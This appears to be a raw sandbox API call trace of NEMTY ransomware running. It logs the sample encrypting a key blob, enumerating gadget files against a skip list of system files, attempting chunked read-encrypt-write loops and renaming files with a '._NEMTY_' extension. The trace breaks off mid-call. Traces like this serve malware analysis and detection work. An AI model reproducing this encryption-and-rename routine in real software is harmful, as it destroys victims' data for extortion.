RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.327] GetLastError () returned 0xb7 [0126.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.327] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0126.327] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0126.327] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0126.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0126.327] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="mMNc4860are5x33ZooVGfMAEbH0kgwr5Dbx1VykdO4rNOF5EFnVAWQMUnu8fhmwc\r\nOUeZfOa3jBxlq+5OAsEAcrxNLVgMXYB33QCMG38PIDs6zX5GdKLJ912oYOlR0k54\r\n1uyDGBDsThv3r6E9+ML8mD9lOh8m+FaKowGODug2pvNV2nTJ28PgDl7jlHUY59Sd\r\nIh4IPGx+vnIjIn3KyBDuGv13TghCCcxXB7PT0z5ycABeEOTA03cEG38/iyR3gQWJ\r\nLqHbxgeMy0Jen8RiJ134HpdMgBD6dr0JI62dGQsPD2CfjsjQZmNDPsqTYZS/5gm/\r\n4h52yoW50xS3e7CLl2dQjA==\r\n", pcchString=0x653e5dc) returned 1 [0126.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0126.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0126.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0126.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0126.327] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\currency.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.327] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0126.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0126.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0126.431] CloseHandle (hObject=0xffffffff) returned 0 [0126.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0126.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0126.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\currency.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\currency.js._nemty_kgobjgd_")) returned 0 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.432] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2=".") returned 1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="..") returned 1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="...") returned 1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="windows") returned -1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="$RECYCLE.BIN") returned 1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="rsa") returned -1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="NTDETECT.COM") returned -1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="ntldr") returned -1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="MSDOS.SYS") returned -1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="IO.SYS") returned -1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="boot.ini") returned 1 [0126.432] lstrcmpiW (lpString1="init.js", lpString2="boot.ini") returned 1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="AUTOEXEC.BAT") returned 1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="ntuser.dat") returned -1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="desktop.ini") returned 1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="CONFIG.SYS") returned 1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="RECYCLER") returned -1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="BOOTSECT.BAK") returned 1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="bootmgr") returned 1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="programdata") returned -1 [0126.433] lstrcmpiW (lpString1="init.js", lpString2="appdata") returned 1 [0126.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="init.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0126.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="init.js", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="init.js", lpUsedDefaultChar=0x0) returned 7 [0126.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="init.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0126.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="init.js", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="init.js", lpUsedDefaultChar=0x0) returned 7 [0126.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="init.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0126.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="init.js", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="init.js", lpUsedDefaultChar=0x0) returned 7 [0126.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="init.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0126.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="init.js", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="init.js", lpUsedDefaultChar=0x0) returned 7 [0126.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0126.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0126.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0126.433] Sleep (dwMilliseconds=0x5) [0126.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xff022d10, dwHighDateTime=0x1d561e7)) [0126.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xff022d10, dwHighDateTime=0x1d561e7)) [0126.436] GetLastError () returned 0x5 [0126.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.436] GetLastError () returned 0x5 [0126.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.436] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0126.436] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0126.436] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0126.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0126.436] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="o+gUZVJyNPZz59/dZpBLmPPuP1IbJR5ta19VoNeHzCUfO/YtvW6Tgcy/tw8hLQYf\r\nEktSuVi9BRry8dNcnhj8526r141ykYpFg/m0aQEmlEdZ14fe3G4JO6sFxXVtyDWY\r\n8q2OmRq8zBN3dXCc83amWcpok3vnFGRFBCYNtOY9MJHvKPoawZcPo+58s54Nx2G5\r\nNjybYbgMib7NlUpyzRdBNuXG7e9hCqCBPCNXtydzDG6gZvH22/Kb0ECytte0Ozpt\r\ndh/4xXimKaD1CwpjeizFDirz7kXHhAgC9I1PKiwTJKgg4AaocJSxGmrL1k2Xpha7\r\n6W8FeWK9ELZ1R11BvRa1fw==\r\n", pcchString=0x653e5dc) returned 1 [0126.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0126.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0126.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0126.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0126.436] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\init.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\init.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.437] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0126.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0126.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 